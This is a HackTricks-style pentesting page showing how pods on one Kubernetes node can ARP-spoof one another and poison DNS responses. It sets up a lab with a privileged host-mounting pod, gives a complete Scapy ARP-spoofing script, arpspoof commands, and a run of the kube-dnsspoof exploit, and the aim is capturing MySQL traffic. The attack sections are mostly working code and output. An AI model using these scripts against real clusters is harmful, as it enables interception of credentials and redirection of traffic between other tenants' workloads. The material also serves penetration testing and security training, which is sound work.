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# Introduction

Kubernetes by default **connects** all the **containers running in the same node** (even if they belong to different namespaces) down to **Layer 2** (ethernet). This allows a malicious containers to perform an [**ARP spoofing attack**](../../pentesting/pentesting-network/#arp-spoofing) to the containers on the same node and capture their traffic.

In the scenario 4 machines are going to be created:

* ubuntu-pe: Privileged machine to escape to the node and check metrics (not needed for the attack)
* **ubuntu-attack**: **Malicious** container in default namespace
* **ubuntu-victim**: **Victim** machine in kube-system namespace
* **mysql**: **Victim** machine in default namespace

```yaml
echo 'apiVersion: v1
kind: Pod
metadata:
  name: ubuntu-pe
spec:
  containers:
  - image: ubuntu
    command:
      - "sleep"
      - "360000" 
    imagePullPolicy: IfNotPresent
    name: ubuntu-pe
    securityContext:
      allowPrivilegeEscalation: true
      privileged: true
      runAsUser: 0 
    volumeMounts:
    - mountPath: /host
      name: host-volume
  restartPolicy: Never 
  hostIPC: true 
  hostNetwork: true 
  hostPID: true 
  volumes:
  - name: host-volume
    hostPath:
      path: /
---
apiVersion: v1
kind: Pod
metadata:
  name: ubuntu-attack
  labels:
    app: ubuntu
spec:
  containers:
  - image: ubuntu
    command:
      - "sleep"
      - "360000" 
    imagePullPolicy: IfNotPresent
    name: ubuntu-attack
  restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
  name: ubuntu-victim
  namespace: kube-system
spec:
  containers:
  - image: ubuntu
    command:
      - "sleep"
      - "360000" 
    imagePullPolicy: IfNotPresent
    name: ubuntu-victim
  restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
  name: mysql
spec:
  containers:
  - image: mysql:5.6
    ports:
      - containerPort: 3306
    imagePullPolicy: IfNotPresent
    name: mysql
    env:
      - name: MYSQL_ROOT_PASSWORD
        value: mysql
  restartPolicy: Never' | kubectl apply -f -
```

```bash
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
```

# Basic Kubernetes Networking

If you want more details about the networking topics introduced here, go to the references.

## ARP

Generally speaking, **pod-to-pod networking inside the node** is available via a **bridge** that connects all pods. This bridge is called “**cbr0**”. (Some network plugins will install their own bridge.) The **cbr0 can also handle ARP** (Address Resolution Protocol) resolution. When an incoming packet arrives at cbr0, it can resolve the destination MAC address using ARP.

![](<../../.gitbook/assets/image (637).png>)

This fact implies that, by default, **every pod running in the same node** is going to be able to **communicate** with any other pod in the same node (independently of the namespace) at ethernet level (layer 2).

{% hint style="warning" %}
Therefore, it's possible to perform A**RP Spoofing attacks between pods in the same node.**
{% endhint %}

## DNS

In kubernetes environments you will usually find 1 (or more) **DNS services running** usually in the kube-system namespace:

```bash
kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
                   kubernetes.io/cluster-service=true
                   kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
                   prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153
```

In the previous info you can see something interesting, the **IP of the service** is **10.96.0.10** but the **IP of the pod** running the service is **172.17.0.2.**

If you check the DNS address inside any pod you will find something like this:

```
cat /etc/resolv.conf
nameserver 10.96.0.10
```

However, the pod **doesn't know** how to get to that **address** because the **pod range** in this case is 172.17.0.10/26.

Therefore, the pod will send the **DNS requests to the address 10.96.0.10** which will be **translated** by the cbr0 **to** **172.17.0.2**.

{% hint style="warning" %}
This means that a **DNS request** of a pod is **always** going to go the **bridge** to **translate** the **service IP to the endpoint IP**, even if the DNS server is in the same subnetwork as the pod.

Knowing this, and knowing **ARP attacks are possible**, a **pod** in a node is going to be able to **intercept the traffic** between **each pod** in the **subnetwork** and the **bridge** and **modify** the **DNS responses** from the DNS server (**DNS Spoofing**).

Moreover, if the **DNS server** is in the **same node as the attacker**, the attacker can **intercept all the DNS request** of any pod in the cluster (between the DNS server and the bridge) and modify the responses.
{% endhint %}

# ARP Spoofing in pods in the same Node

Our goal is to **steal at least the communication from the ubuntu-victim to the mysql**.

## Scapy

```bash
python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
```

{% code title="arp_spoof.py" %}
```python
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
	arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
	targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
	return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
	spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
	send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
	packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
	send(packet, verbose=False)
	print("ARP Table restored to normal for", targetip)

def main():
	targetip= input("Enter Target IP:")
	gatewayip= input("Enter Gateway IP:")

	try:
		targetmac= getmac(targetip)
		print("Target MAC", targetmac)
	except:
		print("Target machine did not respond to ARP broadcast")
		quit()

	try:
		gatewaymac= getmac(gatewayip)
		print("Gateway MAC:", gatewaymac)
	except:
		print("Gateway is unreachable")
		quit()
	try:
		print("Sending spoofed ARP responses")
		while True:
			spoofarpcache(targetip, targetmac, gatewayip)
			spoofarpcache(gatewayip, gatewaymac, targetip)
	except KeyboardInterrupt:
		print("ARP spoofing stopped")
		restorearp(gatewayip, gatewaymac, targetip, targetmac)
		restorearp(targetip, targetmac, gatewayip, gatewaymac)
		quit()

if __name__=="__main__":
	main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward
```
{% endcode %}

## ARPSpoof

```bash
apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10
```

# DNS Spoofing

As it was already mentioned, if you **compromise a pod in the same node of the DNS server pod**, you can **MitM** with **ARPSpoofing** the **bridge and the DNS** pod and **modify all the DNS responses**.

You have a really nice **tool** and **tutorial** to test this in [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)

In our scenario, **download** the **tool** in the attacker pod and create a **file named `hosts` ** with the **domains** you want to **spoof** like:

```
cat hosts
google.com. 1.1.1.1
```

Perform the attack to the ubuntu-victim machine:

```
python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
```

```bash
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1
```

{% hint style="info" %}
If you try to create your own DNS spoofing script, if you **just modify the the DNS response** that is **not** going to **work**, because the **response** is going to have a **src IP** the IP address of the **malicious** **pod** and **won't** be **accepted**.\
You need to generate a **new DNS packet** with the **src IP** of the **DNS** where the victim send the DNS request (which is something like 172.16.0.2, not 10.96.0.10, thats the K8s DNS service IP and not the DNS server ip, more about this in the introduction).
{% endhint %}

# References

* [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1)
* [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters)


<details>

<summary><strong>Support HackTricks and get benefits!</strong></summary>

Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!

Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)

Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)

**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**

**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**

</details>